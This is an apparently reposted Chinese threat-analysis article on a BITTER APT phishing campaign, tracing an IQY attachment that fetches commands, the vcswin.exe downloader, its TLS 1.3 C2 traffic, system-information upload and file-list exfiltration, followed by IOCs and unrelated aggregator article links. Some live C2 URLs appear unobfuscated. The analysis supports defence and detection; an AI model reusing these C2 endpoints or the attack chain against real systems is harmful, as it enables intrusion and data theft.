【觀成科技】蔓靈花User下載者加密通信分析

  1. ? ? ? 概述

2025年5月7日,蔓靈花(BITTER)組織針對巴基斯坦電信公司工作人員發起釣魚郵件攻擊,投遞偽裝為安全簡報的惡意郵件,附件為IQY類型的Web查詢文件。該文件在用戶執行后通過HTTP協議獲取遠程CMD指令并執行,進而下載User下載者vcswin.exe。vcswin.exe使用TLS 1.3協議與C2通信,先后完成系統信息上傳、持久化組件gentwin.exe下載和安裝,并定期發送心跳包以獲取下一階段載荷。

  • 執行過程

1?樣本信息

文件名

Security Brief Report.msg

文件Hash

36dbf119cb0cca52aed82ca3e69bbe09d96fa92f2831f8e14dc1bd1b6a5e9590[1]

樣本類型

釣魚郵件

原始發件IP

210.56.8.208(巴基斯坦)

釣魚郵件的附件是后綴為iqy的Web查詢文件。iqy文件是一種簡單的文本文件,默認使用Microsoft Excel打開。一旦用戶打開該文件,Excel會自動訪問文件中的URL,獲取數據。

1?釣魚郵件執行流程

惡意附件的執行鏈如下所示。

  1. 打開iqy文件,通過HTTP協議從“http[:]//fogomyart.com/random.php”處獲取CMD命令并執行;
  2. CMD命令通過TLS協議從“https[:]//fogomyart.com/vcswin”處下載vcswin.exe并執行;
  3. vcswin.exe通過TLS協議上傳系統信息到tradesmarkets.greenadelhouse.com;
  4. vcswin.exe通過TLS協議從tradesmarkets.greenadelhouse.com處下載gentwin.exe并執行;
  5. gentwin.exe創建注冊表項,實現C:\\ProgramData\\vcswin.exe自啟動。
  • 加密通信分析
  1. 上線流量

vcswin.exe執行后訪問URL“https[:]//tradesmarkets.greenadelhouse.com/crvtyfgvwicidnex.php”,服務器響應數據“excertvnde52bek59vecnes26o”。

2?首次GET請求

3?首次GET請求(TLS1.3解密后)

隨后vcswin.exe將用戶名、計算機名和操作系統版本使用字符“*”進行拼接,Base64編碼后賦值給vrocean,通過GET請求發送給服務器,服務器返回“gentwinUnable to open file!”。

4?上傳系統信息

5?上傳系統信息(TLS1.3解密后)

2.下載流量

上傳系統信息后,vcswin.exe將用戶名與服務器返回數據進行拼接,繼續進行GET請求,請求URL為“https[:]//tradesmarkets.greenadelhouse.com/user/用戶名/gentwinUnable%20to%20open%20file!”

6?下載流量

7?下載流量(TLS1.3解密后)

vcswin.exe繼續向“https://tradesmarkets.greenadelhouse.com/excerorderslistoncbook.php?vrocean=TFkqODYxNzYqKldpbmRvd3MxMEVudGVycHJpc2U=**”發送GET請求,服務器響應文件名“gentwin”。

8?獲取文件名

9?獲取文件名(TLS1.3解密后)

得到文件名后,vcswin.exe通過用戶名拼接請求URL“https://tradesmarkets.greenadelhouse.com/user/LY/gentwin”,下載exe文件

10?下載gentwin.exe

11?下載gentwin.exe(TLS1.3解密后)

???????3.心跳流量

下載完gentwin.exe后,vcswin.exe每隔2~3秒向服務器發送心跳包,心跳包請求URL為“https://tradesmarkets.greenadelhouse.com/excerorderslistoncbook.php?vrocean=(Base64編碼的系統信息)**”。服務器會響應1字節的0x20。

12?心跳流量

13?心跳流量(TLS1.3解密后)

???????4.數據回傳

vcswin.exe還會收集程序運行目錄下的文件信息拼接到URL中并通過GET請求回傳給服務器。

14?回傳文件列表

15?回傳文件列表(TLS1.3解密后)

  • 產品檢測

觀成瞰云-加密威脅智能檢測系統可對蔓靈花User下載者進行有效檢出。

16?檢測結果

  • 總結

蔓靈花User下載者延續了其多組件攻擊鏈的一貫特點,與以往采用TLS1.2協議不同,本次攻擊升級至TLS1.3協議。然而,相較于其他APT組織在協議加密外疊加內容加密的方式,蔓靈花User下載者僅依賴TLS協議本身進行加密傳輸。盡管通信數據經過TLS1.3協議加密,但其載荷長度特征仍可反映出明顯的心跳行為。基于這一現象,通過單流載荷長度特征即可實現對該威脅的有效檢測。觀成科技安全研究團隊將持續追蹤蔓靈花組織的攻擊活動,并及時更新相應的檢測策略。

  • IOC

36dbf119cb0cca52aed82ca3e69bbe09d96fa92f2831f8e14dc1bd1b6a5e9590

15db9daa175d506c3e1eaee339eecde8771599ed81adfac48fa99aa5c2322436

edb68223db3e583f9a4dd52fd91867fa3c1ce93a98b3c93df3832318fd0a3a56

76efa1cf9fcb1015ffd7f32f43c2865539fecfae6ae87a7607fd9ccad0f63896

tradesmarkets.greenadelhouse.com

fogomyart.com

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/95141.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/95141.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/95141.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Redis 保證數據不丟失

Redis 保證數據不丟失(或最大限度減少丟失)的核心是通過 持久化機制 結合 合理的配置策略 實現的。具體方案如下:一、核心:開啟 Redis 持久化(防止進程崩潰丟失數據)Redis 提供兩種持久化方式,可…

NUMA/SNC 4種組合下Stream+MLC性能對決:雙路服務器BIOS調優全攻略

關于調整 BIOS NUMA 與 SNC 選項的 Stream / MLC 性能測試總結一、測試背景與目的在現代多路 Intel Xeon 服務器上,NUMA(Non-Uniform Memory Access)與 SNC(Sub-NUMA Clustering)是兩項決定內存訪問延遲與帶寬的關鍵 B…

Java-113 深入淺出 MySQL 擴容全攻略:觸發條件、遷移方案與性能優化

點一下關注吧!!!非常感謝!!持續更新!!! 🚀 AI篇持續更新中!(長期更新) AI煉丹日志-31- 千呼萬喚始出來 GPT-5 發布!“快的…

Kafka Connect + Streams 用到極致從 CDC 到流處理的一套落地方案

關鍵目標: 零丟失:端到端 Exactly Once(Source 端事務 Streams exactly_once_v2 Sink DLQ)。低延遲:Producer 端批量壓縮 Streams 緩存 合理 poll/commit 間隔。可恢復:Connect/Streams 的 rebootstrap…

# `std::basic_istream`總結

std::basic_istream總結 文章目錄std::basic_istream總結概述常用類型定義全局對象核心成員函數1. 格式化輸入2. 非格式化輸入3. 流定位4. 其他功能繼承的功能來自 std::basic_ios狀態檢查狀態管理來自 std::ios_base格式化標志流打開模式特點說明例子std::basic_istream全面用…

人工智能——課程考核

課程考核包括平時測驗(75%)和討論(25%)兩個環節,測驗采用線上隨堂考試(2-3次,具體會在本課堂發布)重點考核:A*算法、極大極小過程(α-β剪枝)、不…

機器學習-時序預測1

最近面試過程中,Predict-then-Optimize是運籌優化算法工程師未來的發展方向。就像我之前寫過的運籌優化(OR)-在機器學習(ML)浪潮中何去何從?-CSDN博客,機器學習適合預測、運籌優化適合決策。我研…

vim-plugin AI插件

文章目錄一、vim 插件管理vim-plug二、如何使用和配置 vim-plug第 1 步:安裝 vim-plug第 2 步:配置你的 .vimrc / init.vim第 3 步:安裝插件常用 vim-plug 命令三、配置vim-aivim-aivim-deepseekvim升級四、配置 AI 插件GitHub Copilot第 1 步…

Adobe Photoshop 2025 最新下載安裝教程,附PS2025下載

點擊獲取:Adobe Photoshop 2025 安裝教程: 1、安裝包下載后,鼠標右鍵解壓安裝包 添加圖片注釋,不超過 140 字(可選) 2、雙擊打開解壓后的安裝包文件夾 3、打開setup文件夾 添加圖片注釋,不超過…

LeetCode算法日記 - Day 27: 計算右側小于當前元素的個數、翻轉對

目錄 1. 計算右側小于當前元素的個數 1.1 題目解析 1.2 解法 1.3 代碼實現 2. 翻轉對 2.1 題目解析 2.2 解法 2.3 代碼實現 1. 計算右側小于當前元素的個數 315. 計算右側小于當前元素的個數 - 力扣(LeetCode) 給你一個整數數組 nums &#xf…

基于SamOut的音頻Token序列生成模型訓練指南

通過PyTorch實現從音頻特征到語義Token的端到端序列生成,適用于語音合成、游戲音效生成等場景。🧠 模型架構與核心組件 model SamOut(voc_sizevoc_size, # 詞匯表大小(4098目錄名特殊Token)hidden_sizehidden_size, …

AWD攻防總結

基本防守策略 1、改用戶密碼和服務密碼 1)改linux用戶密碼: #passwd 如果有權限就刪除用戶: #userdel -r [用戶名] 2)改mysql密碼: #update mysql.user set passwordpassword(密碼) where userroot; 刪除匿名用戶&…

Android14 基于Configfs的USB動態配置init.usb.configfs.rc

1 Android14 USB子系統啟動以及動態切換的init.usb.rc 2 Android14 基于Configfs的USB動態配置init.usb.configfs.rc 3 Android14 高通平臺的USB子系統啟動和動態配置init.qcom.usb.rc 1. 什么是ConfigFS ConfigFS 是 Linux 內核提供的一種用戶空間可配置的偽文件系統在Linu…

2025年KBS SCI1區TOP,矩陣差分進化算法+移動網絡視覺覆蓋無人機軌跡優化,深度解析+性能實測

目錄1.摘要2.系統模型和問題表述3.矩陣差分進化算法4.結果展示5.參考文獻6.算法輔導應用定制讀者交流1.摘要 本文提出了一種面向無人機(UAV)新型軌跡優化方法,以實現對地面移動節點的高效視覺覆蓋。與傳統方法不同,該方法顯式考慮…

Python OpenCV圖像處理與深度學習:Python OpenCV圖像幾何變換入門

圖像變換:掌握OpenCV中的幾何變換 學習目標 通過本課程,學員們將能夠理解圖像的幾何變換原理,包括縮放、旋轉和平移,并能夠使用Python和OpenCV庫實現這些變換。本課程將通過理論講解與實踐操作相結合的方式,幫助學員們…

Redis Windows 7.0.5 安裝教程(附exe/msi下載+環境配置+命令測試)

?第一步:下安裝包? 打開瀏覽器(比如 Edge 或 Chrome),復制這個鏈接到地址欄敲回車: https://pan.quark.cn/s/31912e0d0443 進去后往下翻,找名字帶 ?**redis-7.0.5? 的文件,?選那個 .exe 結…

數據結構(單鏈表)

目錄 1.鏈表的概念及結構 2.單鏈表的應用 2.1 打印鏈表 2.2申請新節點 2.3插入(尾刪和頭刪) 2.4刪除(尾刪和頭刪) 2.5查找 2.6任意位置插入 2.7刪除指定位置的元素 2.8 銷毀鏈表 3.總結 1.鏈表的概念及結構 &#xff…

電腦沒加域卻能獲取到IP地址

企業網絡管理的核心邏輯!電腦沒加域卻能獲取到IP地址,這完全是一種刻意為之的安全設計,而不是網絡故障。 簡單來說就是:“給你IP,但不給你權限。” 這背后是一套完整的 網絡準入控制(NAC) 策略。…

Go語言入門學習筆記

📚 前言 歡迎學習Go語言!這份教材假設您是編程零基礎,從最基本的概念開始講解。Go語言(也稱為Golang)由Google開發,簡單、高效、并發能力強,適合后端開發、系統編程和云計算。 學習建議&#xf…

gradle安裝、配置環境變量、配置阿里源及idea 中配置gradle

下載gradle https://services.gradle.org/distributions/ 配置系統環境變量 新增GRADLE_HOME D:\Information_Technology\App\gradle-8.14.3-bin\gradle-8.14.3 新增GRADLE_USER_HOME D:\Information_Technology\App\gradleHouse 設置 path,新增一行 %GRADLE_…